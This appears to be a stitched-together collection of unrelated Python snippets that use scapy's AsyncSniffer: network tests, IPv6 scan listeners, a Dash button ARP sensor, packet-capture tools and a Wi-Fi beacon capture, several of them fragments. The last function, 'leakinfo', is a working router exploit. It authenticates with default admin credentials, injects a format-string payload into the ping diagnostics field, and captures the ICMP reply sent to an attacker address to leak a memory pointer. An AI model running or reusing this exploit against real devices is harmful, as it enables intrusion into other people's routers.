class Sniffer(object): def __init__(self, iface, *args, **kwargs): self.iface = iface self.sniffer = None self.stop_filter = None def start_sniff(self, stop_filter): assert self.sniffer is None self.stop_filter = stop_filter self.sniffer = AsyncSniffer( iface=self.iface, stop_filter=stop_filter, ) self.sniffer.start() def wait_for_sniff_results(self, timeout=5): assert self.sniffer is not None self.sniffer.join(timeout=timeout) sniffer = self.sniffer self.sniffer = None if sniffer.results is None: return [] return [ p for p in sniffer.results # filter out packets only belonging to stop_filter if # it existed if sniffer.kwargs.get("stop_filter") is None or sniffer.kwargs["stop_filter"](p) ]
def test_task10(riot_ctrl, log_nodes): # pylint: disable=R0914 node = riot_ctrl(0, APP, Shell, port=TAP) host_netif = bridge(TAP) host_lladdr = get_link_local(host_netif) node_netifs = NETIF_PARSER.parse(node.ifconfig_list()) node_netif = next(iter(node_netifs)) node_hwaddr = node_netifs[node_netif]["hwaddr"] node_lladdr = [ addr["addr"] for addr in node_netifs[node_netif]["ipv6_addrs"] if addr["scope"] == "link" ][0] ip = IPv6(src=host_lladdr, dst=node_lladdr) stop_id = 0xc07c test_id = 0xb488 sniffer = AsyncSniffer( stop_filter=lambda p: ICMPv6EchoReply in p and p[ICMPv6EchoReply].id == stop_id, iface=host_netif, ) sniffer.start() time.sleep(.1) max_pkts = _max_encapsulations() for i in range(max_pkts): start = time.time() ips = ip for _ in range(i): ips /= ip sendp(Ether(dst=node_hwaddr) / ips / ICMPv6EchoRequest(id=test_id, seq=i), iface=host_netif, verbose=log_nodes) stop = time.time() if (stop - start) <= 0.001: time.sleep(0.001 - (stop - start)) # send stop condition for sniffer sendp(Ether(dst=node_hwaddr) / ip / ICMPv6EchoRequest(id=stop_id), iface=host_netif, verbose=log_nodes) sniffer.join() pkts = sniffer.results requests = [ p for p in pkts if ICMPv6EchoRequest in p and p[ICMPv6EchoRequest].id == test_id ] replies = [ p for p in pkts if ICMPv6EchoReply in p and p[ICMPv6EchoReply].id == test_id ] assert len(requests) <= max_pkts assert len(replies) <= max_pkts assert (len(replies) / max_pkts) > .96 reply_seqs = [r[ICMPv6EchoReply].seq for r in replies] reply_seq_occs = [reply_seqs.count(seq) for seq in reply_seqs] # no sequence number occurs more than once in the replies assert not any(occ > 1 for occ in reply_seq_occs)
def init_test_sniffer(): """ For testing """ # packets = AsyncSniffer(monitor=True, count=0) packets = AsyncSniffer(count=0) packets.start() input("Press enter to stop sniffing: ") packets.stop() packets.join()
def recv_non_unreachable_async(): #TODO: set timeout to 259200 for actual tests (ie. number of seconds in a 72 hour scan) #async_recv = AsyncSniffer(count = 10, timeout=25, store=True, filter="ip6", lfilter=lambda x: x.haslayer(ICMPv6DestUnreach)) #async_recv = AsyncSniffer(count = 100, timeout=60, store=True, filter="ip6", lfilter=lambda x: x[IPv6].src != "2a03:b0c0:1:d0::dca:2001") async_recv = AsyncSniffer(count=100, timeout=250, store=False, filter="ip6", lfilter=lambda x: print_unreachable(x)) #async_recv = AsyncSniffer(count = 100, timeout=60, store=True, filter="ip6", lfilter=lambda x: not x.haslayer(ICMPv6EchoRequest)) async_recv.start() async_recv.join() '''
def recv_echo_reply_async(): #TODO: set timeout to 259200 for actual tests (ie. number of seconds in a 72 hour scan) async_recv = AsyncSniffer(count=10, timeout=250, store=True, filter="ip6", lfilter=lambda x: x.haslayer(ICMPv6EchoReply)) async_recv.start() async_recv.join() responses = async_recv.results print("\n\n===========\nFinal responses: %d\n%s\n\n" % (len(responses), responses)) for i in responses: print(i[IPv6].src)
def scan_ip_address(interface=conf.iface): ip_addresses = [] sniffer = AsyncSniffer(iface=interface, prn=lambda packet: ip_addresses.append( packet.sprintf("{IP:%IP.src%}")) if packet.sprintf("{IP:%IP.src%}") not in ip_addresses and packet.sprintf("{IP:%IP.src%}") != host_ip_address else None , filter="udp and port 6672 or port 61455 or port 61457 or port 61456 or port 61458", count=200) sniffer.start() sniffer.join(timeout=1) return ip_addresses
class DashSensor(Sensor): """Uses an AsyncSniffer to watch for ARP packets generated by an Amazon Dash button when the button is pressed. """ def __init__(self, publishers, params): """Initializes and starts the background scanning for Dash Button ARP packets, publishing the MAC address to the destination when one is detected. """ super().__init__(publishers, params) self.log.info("Configuing Dash Scanner") self.devices = get_sequential_param_pairs(params, "MAC", "Destination") if self.poll > 0: raise ValueError("DashSensor is not a polling sensor!") self.sniffer = AsyncSniffer(prn=self.arp_received, filter="arp", store=0, count=0) self.sniffer.start() def arp_received(self, pkt): """Called by the sniffer when an ARP packet is received. If it's from a device that we have a configured MAC address, we publish the MAC address to the configured destination. """ # 1 = who-has, 2 = is-at if ARP in pkt and pkt[ARP].op in (1, 2): mac = pkt[ARP].hwsrc if mac in self.devices: self.log.info("Dash button pressed for %s publishing to %s", mac, self.devices[mac]) self._send(mac, self.devices[mac]) def cleanup(self): """Stops and waits for the sniffer to exit.""" self.sniffer.stop() self.sniffer.join()
# Create the initial wave of ICMP packets which updates value and counter with every call. def send_ping(data): global value global counter value = max(value, data) counter += 1 data_bytes = data.to_bytes(16, byteorder='big') send(IP(dst=addr) / ICMP() / data_bytes) # Stop sniffing for packets when sorted_list is full. def stop(pkt): global sorted_list return len(sorted_list) == n # Create a sniffer which listens on some interface for icmp packets t = AsyncSniffer(iface="en0", filter="icmp", prn=process, store=False, stop_filter=stop) # Start sniffing t.start() for num in list_to_sort: send_ping(num) # Wait for the list to get sorted while the creator of ICMP rolls in his grave. t.join() print(sorted_list)
def handle(self, input, interface=None, count=0, timeout=None, filter=None, regex=None, xregex=None, monitor=False, pcap=False, debug=False): self.debug = debug # Compile expressions if regex: self.regex = [ re.compile(r.encode(), re.DOTALL | re.MULTILINE) for r in list(regex) ] if xregex: self.xregex = [ re.compile(x.encode(), re.DOTALL | re.MULTILINE) for x in list(xregex) ] # Output pcap to infinitely iterable file with IterWriter() as output: if pcap: self.pcap = PcapWriter(output, sync=True) # Configure sniffer and produce sniffer stream try: stream = AsyncSniffer( started_callback=lambda: self.log.info( "Sniffing interface(s): %s...", interface or conf.iface ), iface=interface or conf.iface, count=count, timeout=timeout, filter=filter, lfilter=self._lfilter, prn=self._prn, store=False, monitor=monitor, ) # Start sniffer stream stream.start() # Output pcap data if pcap: for data in output: yield data if not stream.running and not output.closed: output.close() # Wait for stream to complete stream.join() except Scapy_Exception as e: self.log.error(e)
global channel if channel == 14: channel = 1 else: channel += 1 subprocess.run(["iwconfig", interface, "channel", str(channel)]) if capture: threading.Timer(0.2, hop_channel).start() def handle_packet(packet): global captured_packet global capture global sniffer if packet.type == 0 and packet.subtype == 8: captured_packet = packet capture = False sniffer.stop() print("Starting capture...") sniffer = AsyncSniffer(iface=interface, prn=handle_packet, store=False) hop_channel() sniffer.start() sniffer.join() print("Generating PDF...") captured_packet.pdfdump("01-beacon-frame.pdf", layer_shift=1)
def leakinfo(host, port, rev_ip, interface): # Request that leaks pointer to the attacker via ICMP request = b'POST /cgi?2 HTTP/1.1\r\n' request += b'Host: ' + host.encode('utf-8') + b'\r\n' request += b'User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:80.0) Gecko/20100101 Firefox/80.0\r\n' request += b'Accept: */*\r\n' request += b'Accept-Language: en-US,en;q=0.5\r\n' request += b'Accept-Encoding: gzip, deflate\r\n' request += b'Content-Type: text/plain\r\n' request += b'Content-Length: 180\r\n' request += b'Origin: http://' + host.encode('utf-8') + b'\r\n' request += b'Connection: close\r\n' request += b'Referer: http://' + host.encode( 'utf-8') + b'/mainFrame.htm\r\n' request += b'Cookie: Authorization=Basic YWRtaW46YWRtaW4=\r\n\r\n' request += b'[IPPING_DIAG#0,0,0,0,0,0#0,0,0,0,0,0]0,6\r\n' request += b'dataBlockSize=64\r\n' request += b'timeout=1\r\n' request += b'numberOfRepetitions=1\r\n' request += b'host=' + rev_ip.encode('utf-8') + b' -p %x1%x%x\r\n' request += b'X_TP_ConnName=ewan_ipoe_s\r\n' request += b'diagnosticsState=Requested\r\n' s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.settimeout(2) try: s.connect((host, port)) except: print('[-] Unable to connect') sys.exit(-1) print( '[+] Connected to remote host\n[*] Injecting Infoleak ping command\n') s.send(request) sleep(0.5) s.recv(2072) s.close() print('[*] Starting ICMP listener to receive leak\n') if 'null' in interface: sniffer = AsyncSniffer(filter='icmp and host ' + rev_ip, count=1) else: sniffer = AsyncSniffer(iface=interface, filter='icmp and host ' + rev_ip, count=1) sniffer.start() sleep(2) s2 = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s2.settimeout(2) print( '[*] Connecting to evaluate format string and transmit infoleak via ICMP request' ) try: s2.connect((host, port)) except: print('[-] Unable to connect') sys.exit(-1) # Request that executes the ping request = b'POST /cgi?7 HTTP/1.1\r\n' request += b'Host: ' + host.encode('utf-8') + b'\r\n' request += b'User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:80.0) Gecko/20100101 Firefox/80.0\r\n' request += b'Accept: */*\r\n' request += b'Accept-Language: en-US,en;q=0.5\r\n' request += b'Accept-Encoding: gzip, deflate\r\n' request += b'Content-Type: text/plain\r\n' request += b'Content-Length: 44\r\n' request += b'Origin: http://' + host.encode('utf-8') + b'\r\n' request += b'Connection: close\r\n' request += b'Referer: http://' + host.encode( 'utf-8') + b'/mainFrame.htm\r\n' request += b'Cookie: Authorization=Basic YWRtaW46YWRtaW4=\r\n\r\n' request += b'[ACT_OP_IPPING#0,0,0,0,0,0#0,0,0,0,0,0]0,0\r\n' print('[*] Executing ping\n') s2.send(request) sniffer.join() leak = sniffer.results address = number(leak[0].lastlayer().load[9:13]) print('[+] Got ICMP Request; Infoleak: {}\n'.format(hex(address))) return address